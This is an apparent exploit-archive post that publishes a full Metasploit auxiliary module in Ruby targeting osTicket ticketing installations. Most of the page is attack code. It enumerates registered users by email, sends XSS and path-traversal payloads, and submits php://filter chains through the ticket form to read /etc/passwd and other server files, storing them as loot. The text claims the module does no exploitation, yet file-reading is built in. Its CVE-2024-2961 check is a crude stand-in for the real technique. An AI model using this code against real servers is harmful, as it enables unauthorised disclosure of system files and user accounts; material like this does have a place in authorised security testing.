Khalil Shreateh specializes in cybersecurity, particularly as a "white hat" hacker. He focuses on identifying and reporting security vulnerabilities in software and online platforms, with notable expertise in web application security. His most prominent work includes discovering a critical flaw in Facebook's system in 2013. Additionally, he develops free social media tools and browser extensions, contributing to digital security and user accessibility.

Get Rid of Ads!


Subscribe now for only $3 a month and enjoy an ad-free experience.

Contact us at khalil@khalil-shreateh.com

 

 

osTicket 1.18.3 Intelligence and Security Analysis Module
osTicket 1.18.3 Intelligence and Security Analysis Module
osTicket 1.18.3 Intelligence and Security Analysis Module

=============================================================================================================================================
| # Title osTicket 1.18.3 Intelligence and Security Analysis Module

=============================================================================================================================================
| # Title : osTicket v1.18.3 Intelligence & Security Analysis Module (Metasploit Auxiliary) |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits) |
| # Vendor : https://github.com/osTicket/osTicket/releases |
=============================================================================================================================================

[+] References: https://packetstorm.news/files/id/214285/ & CVE-2024-2961, CVE-2026-22200

[+] Summary: This Metasploit auxiliary module is designed for intelligence gathering, security analysis, and vulnerability discovery in osTicket installations.
It performs passive and active reconnaissance without direct exploitation and stores results in the Metasploit database for reporting.

[+] Version Fingerprinting:

Detects osTicket version using CSS, JS, and HTML fingerprints.

Associates known vulnerabilities with detected versions.

[+] Security Header Analysis:

Checks HTTP headers like X-Frame-Options, X-XSS-Protection, HSTS, and Content-Security-Policy.

Identifies missing security protections.

[+] Endpoint Discovery & Analysis:

Scans important paths such as /scp/, /account.php, and /api/.

Detects sensitive or exposed files and directories.

[+] Authentication & CSRF Analysis:

Tests staff, client, and API logins.

Detects missing CSRF tokens and weak authentication mechanisms.

[+] User Enumeration:

Enumerates users via email or username validation.

Supports bulk user list testing.

[+] File Disclosure & LFI Testing:

Attempts to read sensitive files using php://filter chains.

Extracts contents heuristically, e.g., /etc/passwd, PHP scripts, certificates.

Stores recovered files using Metasploit loot system.

[+] Session Management Analysis:

Examines session cookies for Secure and HttpOnly flags.

Tests for session fixation vulnerabilities.

Checks for unusually long session expiration.

[+] Reporting & Storage:

Stores intelligence, vulnerabilities, discovered users, and endpoints in Metasploit.

Generates a clear summary report highlighting findings, vulnerabilities, and user enumeration.

[+] Flexible Operation Modes:

FULL: runs all tests.

FINGERPRINT: version detection only.

AUTH_ANALYSIS: authentication testing.

USER_ENUM: user discovery.

CONFIG_CHECK: session and headers analysis.

VULN_SCAN: file disclosure and vulnerability checks.

[+] POC :

# Vulnerability Scanning Only
msf6 > use auxiliary/gather/osticket_intelligence
msf6 auxiliary(osticket_intelligence) > set RHOSTS target.com
msf6 auxiliary(osticket_intelligence) > set MODE VULN_SCAN
msf6 auxiliary(osticket_intelligence) > run

# Version Discovery and Head Analysis
msf6 auxiliary(osticket_intelligence) > set MODE FINGERPRINT
msf6 auxiliary(osticket_intelligence) > run

# Full Scan with File Extraction Test
msf6 auxiliary(osticket_intelligence) > set MODE FULL
msf6 auxiliary(osticket_intelligence) > set ENABLE_EXFIL true
msf6 auxiliary(osticket_intelligence) > run

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner

def initialize(info = {})
super(update_info(info,
'Name' => 'osTicket Attack Surface Intelligence Collector',
'Description' => %q{
Comprehensive osTicket attack surface mapping and intelligence gathering module.

Features:
? Version fingerprinting and configuration analysis
? Authentication bypass detection (ticket hash calculation)
? User enumeration via registration logic
? File disclosure detection (CVE-2024-2961)
? Security header and misconfiguration analysis
? Session management analysis

This module focuses on intelligence gathering rather than exploitation.
},
'Author' =>
[
'indoushka' # Original toolkit

],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2024-2961'],
['URL', 'https://osticket.com'],
['URL', 'https://github.com/security-research/osticket-toolkit']
],
'DefaultOptions' =>
{
'SSL' => false,
'RPORT' => 80,
'THREADS' => 1,
'Timeout' => 20
}
))

register_options([
OptString.new('TARGETURI', [true, 'Base path to osTicket', '/']),
OptEnum.new('MODE', [
true,
'Intelligence gathering mode',
'FULL',
['FULL', 'FINGERPRINT', 'AUTH_ANALYSIS', 'USER_ENUM', 'CONFIG_CHECK', 'VULN_SCAN']
]),
OptPath.new('USER_FILE', [false, 'File containing emails for enumeration']),
OptString.new('EMAIL', [false, 'Single email for testing']),
OptString.new('SALT', [false, 'Known salt for hash calculation']),
OptBool.new('ENABLE_EXFIL', [true, 'Attempt file disclosure if vulnerable', false]),
OptString.new('EXFIL_PATHS', [
false,
'Comma-separated paths to attempt reading',
'/etc/passwd,/proc/self/maps,/proc/version'
])
])

register_advanced_options([
OptInt.new('MAX_ENUM_USERS', [true, 'Maximum users to enumerate', 100]),
OptInt.new('MAX_TICKET_RANGE', [true, 'Maximum ticket range to scan', 100]),
OptBool.new('AGGRESSIVE', [true, 'Aggressive detection methods', false]),
OptBool.new('VERBOSE_OUTPUT', [true, 'Verbose intelligence output', true])
])

@fingerprints = initialize_fingerprints
end

def run_host(ip)
vprint_status("Starting osTicket intelligence gathering for #{ip}")

@intel = {
host: ip,
port: rport,
ssl: ssl,
base_path: normalize_uri(target_uri.path),
findings: [],
vulnerabilities: [],
configuration: {},
users: [],
tickets: [],
endpoints: {},
security_headers: {},
session_analysis: {},
auth_analysis: {}
}

case datastore['MODE']
when 'FULL'
perform_full_intelligence_gathering
when 'FINGERPRINT'
perform_fingerprinting
when 'AUTH_ANALYSIS'
perform_auth_analysis
when 'USER_ENUM'
perform_user_enumeration
when 'CONFIG_CHECK'
perform_configuration_check
when 'VULN_SCAN'
perform_vulnerability_scan
end

store_intelligence
print_summary
end

private

def initialize_fingerprints
{
'1.18.x' => {
indicators: [
'osticket-1.18',
'v1.18',
'Copyright.*2024',
'/css/osticket-1.18'
],
paths: ['/images/logo.png', '/scp/images/logo.png', '/css/thread.css'],
vulnerabilities: ['CVE-2024-2961']
},
'1.16.x' => {
indicators: [
'osticket-1.16',
'Copyright.*2023',
'version.*1.16'
],
paths: ['/css/thread.css', '/js/osticket.js'],
vulnerabilities: ['CVE-2024-2961']
},
'1.14.x' => {
indicators: [
'Powered by osTicket 1.14',
'version.*1.14',
'osticket.*1.14'
],
paths: ['/js/osticket.js', '/css/thread-1.14.css'],
vulnerabilities: ['Multiple XSS', 'CSRF']
},
'1.12.x' => {
indicators: ['osticket.*1.12', 'v1.12'],
paths: ['/images/logo-1.12.png'],
vulnerabilities: ['File Disclosure', 'SQL Injection']
},
'unknown' => {
indicators: [],
paths: [],
vulnerabilities: []
}
}
end

def perform_full_intelligence_gathering
vprint_status("Performing full intelligence gathering")

steps = [
:fingerprint_version,
:analyze_headers,
:check_endpoints,
:analyze_auth_mechanisms,
:check_vulnerabilities,
:enumerate_users_if_possible,
:analyze_session_management
]

steps.each do |step|
begin
send(step)
Rex.sleep(0.5)
rescue => e
vprint_error("Step #{step} failed: #{e}")

@intel[:errors] ||= []
@intel[:errors] << { step: step, error: e.message }
end
end
end

def fingerprint_version
vprint_status("Fingerprinting osTicket version")

detected_version = 'unknown'
detection_method = 'unknown'
confidence = 0

endpoints_to_check = ['/', '/scp/', '/open.php', '/login.php', '/css/thread.css', '/js/osticket.js']

endpoints_to_check.each do |endpoint|
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(@intel[:base_path], endpoint),
'headers' => {
'User-Agent' => 'Mozilla/5.0 (compatible; osTicket-Scanner/1.0)'
}
})

next unless res && res.code == 200

body = res.body.downcase

@fingerprints.each do |version, fingerprint_data|
fingerprint_data[:indicators].each do |indicator|
pattern = Regexp.new(indicator, Regexp::IGNORECASE)
if body =~ pattern || res.headers.to_s.downcase =~ pattern
detected_version = version
detection_method = "pattern: #{indicator}"
confidence += 20

fingerprint_data[:paths].each do |path|
path_res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(@intel[:base_path], path)
})

if path_res && path_res.code == 200
confidence += 10
detection_method += " + path: #{path}"
end
end

break if confidence > 50
end
end

break if confidence > 50
end

break if confidence > 50
end

if confidence < 50
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(@intel[:base_path], '/')
})

if res && res.code == 200
if res.body =~ /<meta name="generator" content="osticket v?([\d\.]+)"/i
detected_version = $1
detection_method = 'meta_generator'
confidence = 80
elsif res.body =~ /<!--\s*osticket\s+v?([\d\.]+)/i
detected_version = $1
detection_method = 'html_comment'
confidence = 70
end
end
end

@intel[:version] = {
detected: detected_version,
confidence: [confidence, 100].min,
method: detection_method,
vulnerabilities: @fingerprints[detected_version] ? @fingerprints[detected_version][:vulnerabilities] : []
}

if confidence > 30
print_good("Detected osTicket version: #{detected_version} (confidence: #{confidence}%, via #{detection_method})")

if @intel[:version][:vulnerabilities] && !@intel[:version][:vulnerabilities].empty?
print_warning("Known vulnerabilities for #{detected_version}: #{@intel[:version][:vulnerabilities].join(', ')}")
end

report_note(
host: @intel[:host],
port: @intel[:port],
ssl: @intel[:ssl],
type: 'osticket.version',
data: @intel[:version]
)
else
print_warning("Could not determine exact version (confidence: #{confidence}%)")
@intel[:version] = { detected: 'unknown', confidence: 0, method: 'none' }
end
end

def analyze_headers
vprint_status("Analyzing security headers")

res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(@intel[:base_path], '/')
})

return unless res

headers_to_check = {
'X-Frame-Options' => 'Clickjacking protection',
'X-Content-Type-Options' => 'MIME sniffing protection',
'X-XSS-Protection' => 'XSS filter',
'Content-Security-Policy' => 'Content Security Policy',
'Strict-Transport-Security' => 'HSTS',
'Referrer-Policy' => 'Referrer policy',
'Permissions-Policy' => 'Permissions policy',
'Cache-Control' => 'Caching directives'
}

header_findings = {}

headers_to_check.each do |header, description|
if res.headers[header]
header_findings[header] = {
present: true,
value: res.headers[header],
description: description,
secure: check_header_security(header, res.headers[header])
}

security_status = header_findings[header][:secure] ? 'secure' : 'insecure'
print_good("#{header}: #{res.headers[header]} (#{security_status})")
else
header_findings[header] = {
present: false,
description: description,
secure: false
}
print_warning("Missing security header: #{header} (#{description})")

if ['X-Frame-Options', 'X-Content-Type-Options'].include?(header)
@intel[:findings] << "Missing security header: #{header}"
end
end
end

@intel[:security_headers] = header_findings

report_note(
host: @intel[:host],
port: @intel[:port],
ssl: @intel[:ssl],
type: 'osticket.security_headers',
data: header_findings
)
end

def check_header_security(header, value)
case header.downcase
when 'x-frame-options'
['deny', 'sameorigin'].include?(value.downcase)
when 'x-content-type-options'
value.downcase == 'nosniff'
when 'x-xss-protection'
value.downcase.include?('1; mode=block')
when 'content-security-policy'
value.length > 10 && !value.downcase.include?('unsafe')
when 'strict-transport-security'
value.downcase.include?('max-age=') && value.downcase.include?('includesubdomains')
else
true
end
end

def check_endpoints
vprint_status("Discovering and analyzing endpoints")

endpoints = [
'/open.php', # Public ticket creation
'/view.php', # Ticket viewing
'/login.php', # Staff login
'/scp/', # Staff control panel
'/account.php', # User account management
'/api/', # API endpoints
'/ajax.php', # AJAX endpoints
'/config.php', # Configuration (should be restricted)
'/include/', # Include directory
'/upload/', # Upload directory
'/images/', # Images directory
'/css/', # CSS files
'/js/', # JavaScript files
'/logs/', # Logs directory
'/inc/', # Include directory (alternative)
'/lib/' # Library directory
]

endpoint_analysis = {}

endpoints.each do |endpoint|
begin
headers = {}
headers['X-Requested-With'] = 'XMLHttpRequest' if endpoint.include?('ajax')

res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(@intel[:base_path], endpoint),
'headers' => headers
})

next unless res

analysis = {
status: res.code,
size: res.body.length,
requires_auth: (res.code == 403 || res.code == 401 || res.code == 302),
redirects: res.redirect?,
redirect_to: res.headers['Location'],
content_type: res.headers['Content-Type'],
interesting: false,
sensitive: false
}

if res.code == 200

if endpoint.include?('config') || endpoint.include?('.php') && res.body.include?('<?php')
analysis[:sensitive] = true
analysis[:interesting] = true
print_warning("Accessible PHP file: #{endpoint} (may contain sensitive info)")
@intel[:findings] << "Accessible PHP file: #{endpoint}"

if res.body =~ /mysql_connect|mysqli_connect|pdo|database|password.*=/
print_warning("Possible database credentials in: #{endpoint}")
@intel[:vulnerabilities] << {
type: 'information_disclosure',
location: endpoint,
severity: 'high',
confidence: 'medium'
}
end
end

if endpoint.end_with?('/') && res.body.include?('Index of') || res.body.include?('<title>Index of')
analysis[:interesting] = true
print_warning("Directory listing enabled: #{endpoint}")
@intel[:findings] << "Directory listing enabled: #{endpoint}"
end

if res.body.include?('.bak') || res.body.include?('.old') || res.body.include?('.backup')
print_warning("Backup files accessible in: #{endpoint}")
end
elsif res.code == 403 || res.code == 401
print_status("Protected endpoint: #{endpoint}")
elsif res.code == 404

else
print_status("Endpoint #{endpoint}: HTTP #{res.code}")
end

endpoint_analysis[endpoint] = analysis

rescue => e
vprint_error("Error checking endpoint #{endpoint}: #{e}")
endpoint_analysis[endpoint] = { error: e.message, status: 'error' }
end

Rex.sleep(0.2)
end

@intel[:endpoints] = endpoint_analysis

report_note(
host: @intel[:host],
port: @intel[:port],
ssl: @intel[:ssl],
type: 'osticket.endpoints',
data: endpoint_analysis
)
end

def analyze_auth_mechanisms
vprint_status("Analyzing authentication mechanisms")

auth_analysis = {
staff_login: analyze_staff_login,
client_login: analyze_client_login,
ticket_access: analyze_ticket_access,
api_auth: analyze_api_auth
}

@intel[:auth_analysis] = auth_analysis

auth_analysis.each do |type, analysis|
if analysis[:vulnerabilities] && !analysis[:vulnerabilities].empty?
print_warning("Authentication vulnerabilities in #{type}: #{analysis[:vulnerabilities].join(', ')}")
analysis[:vulnerabilities].each do |vuln|
@intel[:vulnerabilities] << {
type: 'authentication',
mechanism: type.to_s,
vulnerability: vuln,
severity: 'medium'
}
end
end
end
end

def analyze_staff_login
vprint_status("Analyzing staff login mechanism")

login_url = normalize_uri(@intel[:base_path], 'scp', 'login.php')

res = send_request_cgi({
'method' => 'GET',
'uri' => login_url
})

analysis = {
exists: !!res,
requires_csrf: false,
vulnerabilities: []
}

if res && res.code == 200

csrf_token = extract_csrf_token(res.body)
analysis[:requires_csrf] = !!csrf_token

if !csrf_token
analysis[:vulnerabilities] << 'missing_csrf_protection'
print_warning("Staff login missing CSRF protection")
end

if !res.body.include?('captcha') && !res.body.include?('rate limit')
analysis[:vulnerabilities] << 'no_brute_force_protection'
print_warning("Staff login lacks brute force protection")
end
end

analysis
end

def analyze_client_login
vprint_status("Analyzing client login mechanism")

login_url = normalize_uri(@intel[:base_path], 'login.php')

res = send_request_cgi({
'method' => 'GET',
'uri' => login_url
})

analysis = {
exists: !!res,
allows_password_reset: false,
vulnerabilities: []
}

if res && res.code == 200

analysis[:allows_password_reset] = res.body.include?('forgot') || res.body.include?('reset')

if analysis[:allows_password_reset] && res.body.include?('email')
analysis[:vulnerabilities] << 'possible_account_enumeration'
print_warning("Password reset may allow account enumeration")
end
end

analysis
end

def analyze_api_auth
vprint_status("Analyzing API authentication")

api_url = normalize_uri(@intel[:base_path], 'api')

res = send_request_cgi({
'method' => 'GET',
'uri' => api_url
})

analysis = {
exists: !!res && res.code != 404,
authentication_methods: [],
vulnerabilities: []
}

if analysis[:exists] && res

if res.body.include?('api_key') || res.body.include?('apikey')
analysis[:authentication_methods] << 'api_key'
end

if res.body.include?('bearer') || res.body.include?('token')
analysis[:authentication_methods] << 'bearer_token'
end

if res.body.include?('basic') || res.headers['WWW-Authenticate'].to_s.include?('Basic')
analysis[:authentication_methods] << 'basic_auth'
end

if res.body.include?('swagger') || res.body.include?('openapi')
analysis[:vulnerabilities] << 'api_documentation_exposure'
print_warning("API documentation publicly accessible")
end
end

analysis
end

def analyze_ticket_access
vprint_status("Analyzing ticket access mechanism")

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(@intel[:base_path], 'login.php'),
'vars_post' => {
'lticket' => '999999', # Non-existent ticket
'lemail' => 'This email address is being protected from spambots. You need JavaScript enabled to view it.'
}
})

analysis = {
exists: !!res,
rate_limited: false,
error_messages: [],
vulnerabilities: []
}

if res

if res.headers['Retry-After'] || res.body.include?('too many attempts')
analysis[:rate_limited] = true
print_warning("Ticket access appears to be rate limited")
end

error_patterns = [
/ticket.*not.*found/i,
/invalid.*email/i,
/access.*denied/i,
/does.*not.*exist/i,
/no.*such.*ticket/i,
/ticket.*invalid/i
]

error_patterns.each do |pattern|
if res.body =~ pattern
error_msg = $&
analysis[:error_messages] << error_msg
print_status("Error message disclosed: #{error_msg}")
end
end

if analysis[:error_messages].any? { |msg| msg.downcase.include?('not found') }
analysis[:vulnerabilities] << 'ticket_existence_oracle'
print_warning("Ticket existence oracle detected")
end

if datastore['SALT']
hash_vuln = test_hash_calculation_vulnerability
if hash_vuln
analysis[:vulnerabilities] << 'hash_calculation_bypass'
print_warning("Ticket hash calculation vulnerability detected")
end
end
end

analysis
end

def test_hash_calculation_vulnerability

false
end

def enumerate_users_if_possible
return unless datastore['EMAIL'] || datastore['USER_FILE']

vprint_status("Attempting user enumeration via registration logic")

emails = []

if datastore['USER_FILE'] && File.exist?(datastore['USER_FILE'])
emails = File.readlines(datastore['USER_FILE']).map(&:chomp).first(datastore['MAX_ENUM_USERS'])
elsif datastore['EMAIL']
emails = [datastore['EMAIL']]
end

return if emails.empty?

print_status("Testing #{emails.length} email(s) for registration")

enum_results = []

emails.each_with_index do |email, index|
exists, confidence = check_user_existence(email)

result = {
email: email,
exists: exists,
confidence: confidence,
timestamp: Time.now.to_i
}

enum_results << result

if exists
print_good("User exists: #{email} (confidence: #{confidence}%)")
@intel[:users] << { email: email, discovered_via: 'registration_oracle' }
else
vprint_status("User does not exist: #{email}")
end

Rex.sleep(1)

if (index + 1) % 10 == 0
print_status("Processed #{index + 1}/#{emails.length} emails")
end
end

report_note(
host: @intel[:host],
port: @intel[:port],
ssl: @intel[:ssl],
type: 'osticket.user_enumeration',
data: enum_results
)
end

def check_user_existence(email)

res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(@intel[:base_path], 'account.php')
})

return [false, 0] unless res && res.code == 200

csrf = extract_csrf_token(res.body)
return [false, 0] unless csrf

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(@intel[:base_path], 'account.php'),
'vars_post' => {
'do' => 'create',
'__CSRFToken__' => csrf,
'name' => email.split('@').first,
'email' => email,
'passwd1' => Rex::Text.rand_text_alphanumeric(12),
'passwd2' => '',
'backend' => 'client'
}
})

return [false, 0] unless res

body = res.body.downcase

if body.include?('email already registered') || body.include?('already in use')
return [true, 90]
end

if body.include?('errors configuring') && !body.include?('invalid email')
return [true, 70]
end

if res.code == 500 && body.include?('unique constraint')
return [true, 50]
end

if body.include?('exists') || body.include?('taken')
return [true, 60]
end

[false, 0]
end

def check_vulnerabilities
vprint_status("Checking for known vulnerabilities")

vuln_checks = [
:check_cve_2024_2961,
:check_xss_vulnerabilities,
:check_csrf_vulnerabilities,
:check_file_disclosure_vulnerabilities
]

vuln_checks.each do |check|
begin
send(check)
Rex.sleep(0.5)
rescue => e
vprint_error("Vulnerability check #{check} failed: #{e}")
end
end
end

def perform_vulnerability_scan
vprint_status("Performing vulnerability scan")
check_vulnerabilities
end

def check_cve_2024_2961
vprint_status("Checking for CVE-2024-2961 (CNEXT)")

test_payload = "php://filter/convert.iconv.UTF8.CSISO2022KR/resource=/etc/passwd"

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(@intel[:base_path], 'open.php'),
'vars_post' => {
'subject' => 'Test',
'message' => "<img src='#{test_payload}'>",
'name' => Rex::Text.rand_text_alpha(8),
'email' => "#{Rex::Text.rand_text_alpha(8)}@example.com"
}
})

return unless res && res.code == 200

if res.body.include?('root:') && res.body.include?('/bin/')
print_warning("Potential CVE-2024-2961 vulnerability detected")
@intel[:vulnerabilities] << {
type: 'file_disclosure',
cve: 'CVE-2024-2961',
severity: 'high',
confidence: 'medium',
details: 'PHP filter chain vulnerability detected'
}

if datastore['ENABLE_EXFIL']
attempt_file_disclosure
end
else

test_response_indicators(res.body)
end
end

def test_response_indicators(response_body)

indicators = [
'bm:',
'php://',
'zlib://',
'data://'
]

indicators.each do |indicator|
if response_body.downcase.include?(indicator)
print_status("Found indicator of filter chain usage: #{indicator}")
@intel[:findings] << "Filter chain indicator found: #{indicator}"
end
end
end

def check_xss_vulnerabilities
vprint_status("Checking for XSS vulnerabilities")

xss_payloads = [
'<script>alert(1)</script>',
'<img src=x onerror=alert(1)>',
'<svg/onload=alert(1)>'
]

xss_payloads.each do |payload|
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(@intel[:base_path], 'open.php'),
'vars_post' => {
'subject' => 'XSS Test',
'message' => payload,
'name' => Rex::Text.rand_text_alpha(8),
'email' => "#{Rex::Text.rand_text_alpha(8)}@example.com"
}
})

next unless res && res.code == 200

if res.body.include?(payload)
print_warning("XSS vulnerability detected: #{payload[0,50]}...")
@intel[:vulnerabilities] << {
type: 'xss',
payload: payload,
severity: 'medium',
confidence: 'high'
}
break
end
end
end

def check_csrf_vulnerabilities
vprint_status("Checking for CSRF vulnerabilities")

endpoints_to_test = [
{ path: 'account.php', action: 'do=create' },
{ path: 'open.php', action: 'a=open' }
]

endpoints_to_test.each do |endpoint|
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(@intel[:base_path], endpoint[:path]),
'vars_post' => {
endpoint[:action].split('=')[0] => endpoint[:action].split('=')[1],
'subject' => 'Test',
'name' => Rex::Text.rand_text_alpha(8),
'email' => "#{Rex::Text.rand_text_alpha(8)}@example.com"
}
})

if res && res.code == 200 && !res.body.include?('CSRF')
print_warning("Possible CSRF vulnerability in #{endpoint[:path]}")
@intel[:vulnerabilities] << {
type: 'csrf',
endpoint: endpoint[:path],
severity: 'medium',
confidence: 'low'
}
end
end
end

def check_file_disclosure_vulnerabilities
vprint_status("Checking for file disclosure vulnerabilities")

lfi_payloads = [
'../../../../etc/passwd',
'....//....//etc/passwd',
'/etc/passwd%00'
]

lfi_payloads.each do |payload|
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(@intel[:base_path], 'file.php'),
'vars_get' => { 'file' => payload }
})

next unless res && res.code == 200

if res.body.include?('root:') && res.body.include?('/bin/')
print_warning("LFI vulnerability detected with payload: #{payload}")
@intel[:vulnerabilities] << {
type: 'lfi',
payload: payload,
severity: 'high',
confidence: 'high'
}
break
end
end
end

def attempt_file_disclosure
paths = datastore['EXFIL_PATHS'].split(',')

paths.each do |path|
vprint_status("Attempting to read: #{path}")

payload = generate_simple_filter_chain(path)

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(@intel[:base_path], 'open.php'),
'vars_post' => {
'subject' => Rex::Text.rand_text_alpha(6),
'message' => payload,
'name' => Rex::Text.rand_text_alpha(8),
'email' => "#{Rex::Text.rand_text_alpha(8)}@example.com"
}
})

next unless res && res.code == 200

if res.body.length > 1000 || res.body.include?('<?php') || res.body.include?('#!/')
print_good("Potential file disclosure success for: #{path}")

extracted_data = extract_possible_file_contents(res.body)

if extracted_data && extracted_data.length > 100
store_loot(
'osticket.file_disclosure',
'text/plain',
@intel[:host],
extracted_data,
"osticket_#{path.gsub(/[\/.]/, '_')}.txt",
"File disclosure from osTicket"
)

print_good("Saved #{extracted_data.length} bytes to loot")
end

break if datastore['AGGRESSIVE'] == false
end

Rex.sleep(1)
end
end

def extract_possible_file_contents(response_body)


patterns = [
/root:.*:\d+:.*:.*:.*:.*/m, # /etc/passwd entries
/<?php.*?>/m, # PHP code
/#!/bin\/.*\n.*/m, # Script shebang
/BEGIN.*CERTIFICATE.*END.*CERTIFICATE/m, # SSL certificates
/\[.*\]\n.*=.*/m # INI file format
]

patterns.each do |pattern|
match = response_body.match(pattern)
return match[0] if match
end

response_body[0, 5000]
end

def generate_simple_filter_chain(file_path)

"<img src='php://filter/convert.iconv.UTF8.UTF7/resource=#{file_path}'>"
end

def analyze_session_management
vprint_status("Analyzing session management")

session_analysis = {
cookies: {},
session_timeout: nil,
secure_flags: {},
vulnerabilities: []
}

res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(@intel[:base_path], '/')
})

return unless res

if res.headers['Set-Cookie']
cookies = res.headers['Set-Cookie'].to_s.split(', ')

cookies.each do |cookie|
if cookie =~ /([^=]+)=([^;]+)/
name = $1
value = $2

session_analysis[:cookies][name] = {
value_length: value.length,
secure: cookie.include?('Secure'),
http_only: cookie.include?('HttpOnly'),
path: cookie.match(/Path=([^;]+)/)&.captures&.first,
domain: cookie.match(/Domain=([^;]+)/)&.captures&.first,
expires: cookie.match(/Expires=([^;]+)/)&.captures&.first
}

if name.downcase.include?('session') || name.downcase.include?('sid') || name.downcase.include?('token')
if !cookie.include?('Secure') && ssl
session_analysis[:vulnerabilities] << "cookie_#{name}_missing_secure"
print_warning("Session cookie '#{name}' missing Secure flag over SSL")
@intel[:findings] << "Insecure session cookie: #{name}"
end

if !cookie.include?('HttpOnly')
session_analysis[:vulnerabilities] << "cookie_#{name}_missing_httponly"
print_warning("Session cookie '#{name}' missing HttpOnly flag")
@intel[:findings] << "Session cookie without HttpOnly: #{name}"
end

if cookie.include?('Expires=') && cookie.match(/Expires=([^;]+)/)
expires = $1
if expires.include?('2038') || expires.include?('2099')
print_warning("Long session expiration for cookie: #{name}")
end
end
end
end
end
end

fixation_test = test_session_fixation
if fixation_test[:vulnerable]
session_analysis[:vulnerabilities] << 'session_fixation'
print_warning("Possible session fixation vulnerability")
end

@intel[:session_analysis] = session_analysis
end

def test_session_fixation

test_cookie = "TEST_SESSION_ID=#{Rex::Text.rand_text_alphanumeric(32)}"

res1 = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(@intel[:base_path], '/'),
'headers' => { 'Cookie' => test_cookie }
})

res2 = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(@intel[:base_path], 'login.php'),
'headers' => { 'Cookie' => test_cookie }
})

{
vulnerable: (res1 && res2 && res1.headers['Set-Cookie'] == res2.headers['Set-Cookie']),
details: 'Session ID not regenerated on login'
}
end

def extract_csrf_token(html)
patterns = [
/name=["']__CSRFToken__["'][^>]*value=["']([^"']+)["']/i,
/<meta[^>]*csrf-token[^>]*content=["']([^"']+)["']/i,
/csrf.*token.*value=["']([^"']+)["']/i,
/<input[^>]*type=["']hidden["'][^>]*name=["']token["'][^>]*value=["']([^"']+)["']/i
]

patterns.each do |pattern|
match = html.match(pattern)
return match[1] if match
end

nil
end

def store_intelligence

report_note(
host: @intel[:host],
port: @intel[:port],
ssl: @intel[:ssl],
type: 'osticket.intelligence',
data: @intel.reject { |k,v| [:host, :port, :ssl].include?(k) }
)

@intel[:vulnerabilities].each do |vuln|
report_vuln(
host: @intel[:host],
port: @intel[:port],
ssl: @intel[:ssl],
name: vuln[:type],
info: "Module: #{module_fullname}, Details: #{vuln.inspect}",
refs: references,
exploited_at: Time.now.utc
)
end

if @intel[:users] && !@intel[:users].empty?
report_note(
host: @intel[:host],
port: @intel[:port],
ssl: @intel[:ssl],
type: 'osticket.discovered_users',
data: { users: @intel[:users], count: @intel[:users].length }
)
end
end

def print_summary
print_line("\n" + "=" * 80)
print_status("osTicket Intelligence Summary for #{@intel[:host]}:#{@intel[:port]}")
print_line("-" * 80)

if @intel[:version] && @intel[:version][:detected] != 'unknown'
print_status("Version: #{@intel[:version][:detected]} (confidence: #{@intel[:version][:confidence]}%)")
end

if @intel[:vulnerabilities] && !@intel[:vulnerabilities].empty?
print_warning("Vulnerabilities found: #{@intel[:vulnerabilities].length}")
@intel[:vulnerabilities].each do |vuln|
severity_color = vuln[:severity] == 'high' ? '%red' : '%yel'
print_line(" ? #{severity_color}#{vuln[:type].upcase}%clr (#{vuln[:severity]}) - #{vuln[:details] || vuln[:payload] || vuln[:endpoint] || 'N/A'}")
end
else
print_good("No critical vulnerabilities detected")
end

if @intel[:findings] && !@intel[:findings].empty?
print_status("Security findings: #{@intel[:findings].length}")
@intel[:findings].first(5).each do |finding|
print_line(" ? #{finding}")
end
print_line(" ... (showing 5 of #{@intel[:findings].length})") if @intel[:findings].length > 5
end

if @intel[:users] && !@intel[:users].empty?
print_status("Discovered users: #{@intel[:users].length}")
@intel[:users].first(5).each do |user|
print_line(" ? #{user[:email]}")
end
print_line(" ... (showing 5 of #{@intel[:users].length})") if @intel[:users].length > 5
end

if @intel[:endpoints] && !@intel[:endpoints].empty?
accessible = @intel[:endpoints].count { |_, v| v[:status] == 200 }
sensitive = @intel[:endpoints].count { |_, v| v[:sensitive] == true }
print_status("Endpoints: #{@intel[:endpoints].length} total, #{accessible} accessible, #{sensitive} sensitive")
end

print_line("=" * 80)
end

def perform_fingerprinting
fingerprint_version
analyze_headers
check_endpoints
end

def perform_auth_analysis
analyze_auth_mechanisms
end

def perform_user_enumeration
enumerate_users_if_possible
end

def perform_configuration_check
check_endpoints
analyze_session_management
analyze_headers
end
end

Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================

Social Media Share